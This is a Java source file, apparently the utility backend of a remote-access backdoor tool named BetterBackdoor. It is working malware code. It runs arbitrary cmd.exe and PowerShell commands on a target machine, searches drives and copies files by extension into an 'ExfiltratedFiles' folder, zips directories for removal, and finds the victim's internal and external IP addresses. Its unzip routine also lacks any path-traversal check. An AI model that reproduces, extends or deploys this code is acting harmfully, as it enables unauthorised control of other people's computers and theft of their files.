package com.thatcherdev.betterbackdoor.backend;

import java.io.BufferedReader;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.OutputStream;
import java.net.Inet4Address;
import java.net.InetAddress;
import java.net.NetworkInterface;
import java.net.URL;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.Enumeration;
import java.util.Objects;
import java.util.zip.ZipEntry;
import java.util.zip.ZipFile;
import java.util.zip.ZipOutputStream;

import com.thatcherdev.betterbackdoor.backdoor.Backdoor;

import org.apache.commons.io.FileUtils;
import org.apache.commons.io.IOUtils;

public class Utils {

	public static String currentCMDDirectory = System.getProperty("user.dir");

	/**
	 * Runs command {@code command} in the current machine's command prompt and
	 * returns response. If {@code dynamicWorkingDirectory} is set to true,
	 * whenever the current directory changes, {@code currentCMDDirectory} is updated accordingly.
	 *
	 * @param command                 command to run
	 * @param dynamicWorkingDirectory if {@code currentCMDDirectory} should be updated
	 * @return response from running command
	 */
	public static String runCommand(String command, boolean dynamicWorkingDirectory) {
		StringBuilder resp = new StringBuilder();
		BufferedReader bufferedReader = null;
		try {
			ProcessBuilder builder;
			if (dynamicWorkingDirectory) {
				builder = new ProcessBuilder("cmd.exe", "/c", command + " && echo current CMD path: && cd");
				builder.directory(new File(currentCMDDirectory));
			} else
				builder = new ProcessBuilder("cmd.exe", "/c", command);
			builder.redirectErrorStream(true);
			bufferedReader = new BufferedReader(new InputStreamReader(builder.start().getInputStream()));
			while (true) {
				String line = bufferedReader.readLine();
				if (line == null) {
					while (resp.toString().endsWith("\n"))
						resp = new StringBuilder(resp.substring(0, resp.length() - 1));
					break;
				}
				if (dynamicWorkingDirectory && line.startsWith("current CMD path:"))
					currentCMDDirectory = bufferedReader.readLine();
				else
					resp.append(line).append("\n");
			}
			if (resp.toString().length() == 0)
				return "Command did not produce a response";
			else
				return resp.toString();
		} catch (Exception e) {
			resp = new StringBuilder("An error occurred when trying to run command");
			if (e.getMessage() != null)
				resp.append(":\n").append(e.getMessage());
			return resp.toString();
		} finally {
			try {
				if (bufferedReader != null)
					bufferedReader.close();
			} catch (Exception ignored) {
			}
		}
	}

	/**
	 * Uses {@link #runCommand(String, boolean)} to run the PowerShell script with the name
	 * {@code filename}.
	 *
	 * @param filename name of script to run
	 * @return response from running script
	 */
	public static String runPSScript(String filename) {
		return runCommand("Powershell.exe -executionpolicy remotesigned -File " + filename, false);
	}

	/**
	 * Copies all files that have extensions in {@code exts} from {@code root} to
	 * {@link Backdoor#gatheredDir}\ExfiltratedFiles'.
	 *
	 * @param root directory to copy files from
	 * @param exts list of extensions of files to copy
	 * @throws IOException
	 */
	public static void exfilFiles(String root, ArrayList<String> exts) throws IOException {
		new File(Backdoor.gatheredDir + "ExfiltratedFiles").mkdir();
		for (String ext : exts)
			for (String file : new ArrayList<>(
					Arrays.asList(Utils.runCommand("c: && cd " + root + " && dir/b/s/a:-d *." + ext, false).split("\n"))))
				if (!file.equals("File Not Found"))
					FileUtils.copyFile(new File(file), new File(
							Backdoor.gatheredDir + "ExfiltratedFiles\\" + file.substring(file.lastIndexOf("\\") + 1)));
	}

	/**
	 * Compresses directory with name {@code dir} to zip file '{@code dir}.zip'.
	 *
	 * @param dir name of directory to compress
	 * @throws IOException
	 * @throws FileNotFoundException
	 */
	public static void zipDir(String dir) throws IOException, FileNotFoundException {
		File dirAsFile = new File(dir);
		ZipOutputStream zipFile = new ZipOutputStream(new FileOutputStream(dirAsFile.getAbsolutePath() + ".zip"));
		dirToZip(dirAsFile, dirAsFile.getAbsolutePath(), zipFile);
		IOUtils.closeQuietly(zipFile);
	}

	/**
	 * Recursively adds the contents of directory {@code rootDir} to the
	 * ZipOutputStream {@code out}.
	 *
	 * @param rootDir   root directory
	 * @param sourceDir source directory
	 * @param out       ZipOutputStream
	 * @throws IOException
	 * @throws FileNotFoundException
	 */
	private static void dirToZip(File rootDir, String sourceDir, ZipOutputStream out)
			throws IOException, FileNotFoundException {
		for (File file : Objects.requireNonNull(new File(sourceDir).listFiles())) {
			String fileName = file.getName();
			if (file.isDirectory())
				dirToZip(rootDir, sourceDir + File.separator + fileName, out);
			else {
				ZipEntry entry = new ZipEntry(
						sourceDir.replace(rootDir.getParent() + File.separator, "") + "/" + fileName);
				out.putNextEntry(entry);

				FileInputStream in = new FileInputStream(sourceDir + "/" + fileName);
				IOUtils.copy(in, out);
				IOUtils.closeQuietly(in);
			}
		}
	}

	/**
	 * Decompresses zip file with name {@code zipFileName}.
	 *
	 * @param zipFileName name of zip file to decompress
	 * @return directory where contents of zip file with name {@code zipFileName}
	 * were copied
	 * @throws IOException
	 */
	public static String unzip(String zipFileName) throws IOException {
		ZipFile zipFile = new ZipFile(zipFileName);
		String outputDir = new File(zipFileName).getParentFile().getAbsolutePath();
		Enumeration<? extends ZipEntry> entries = zipFile.entries();
		while (entries.hasMoreElements()) {
			ZipEntry entry = entries.nextElement();
			File entryDestination = new File(outputDir, entry.getName());
			if (entry.isDirectory())
				entryDestination.mkdirs();
			else {
				entryDestination.getParentFile().mkdirs();
				try (InputStream in = zipFile.getInputStream(entry);
				     OutputStream out = new FileOutputStream(entryDestination)) {
					IOUtils.copy(in, out);
				}
			}
		}
		zipFile.close();
		return outputDir;
	}

	/**
	 * If {@code ipType} is "internal", returns the internal IP address of the
	 * current machine. Otherwise, if {@code ipType} is "external", returns the
	 * external IP address of the current machine.
	 *
	 * @param ipType type of IP address to return
	 * @return either the internal or external IP address of the current machine
	 * @throws IOException
	 */
	public static String getIP(String ipType) throws IOException {
		String ret = null;
		if (ipType.equals("internal")) {
			Enumeration<NetworkInterface> majorInterfaces = NetworkInterface.getNetworkInterfaces();
			while (majorInterfaces.hasMoreElements()) {
				NetworkInterface inter = majorInterfaces.nextElement();
				for (Enumeration<InetAddress> minorInterfaces = inter.getInetAddresses(); minorInterfaces
						.hasMoreElements(); ) {
					InetAddress add = minorInterfaces.nextElement();
					if (!add.isLoopbackAddress())
						if (add instanceof Inet4Address) {
							ret = add.getHostAddress();
							break;
						}
				}
			}
		} else if (ipType.equals("external")) {
			URL checkIP = new URL("http://checkip.amazonaws.com");
			BufferedReader in = new BufferedReader(new InputStreamReader(checkIP.openStream()));
			String ip = in.readLine();
			in.close();
			ret = ip;
		}
		return ret;
	}
}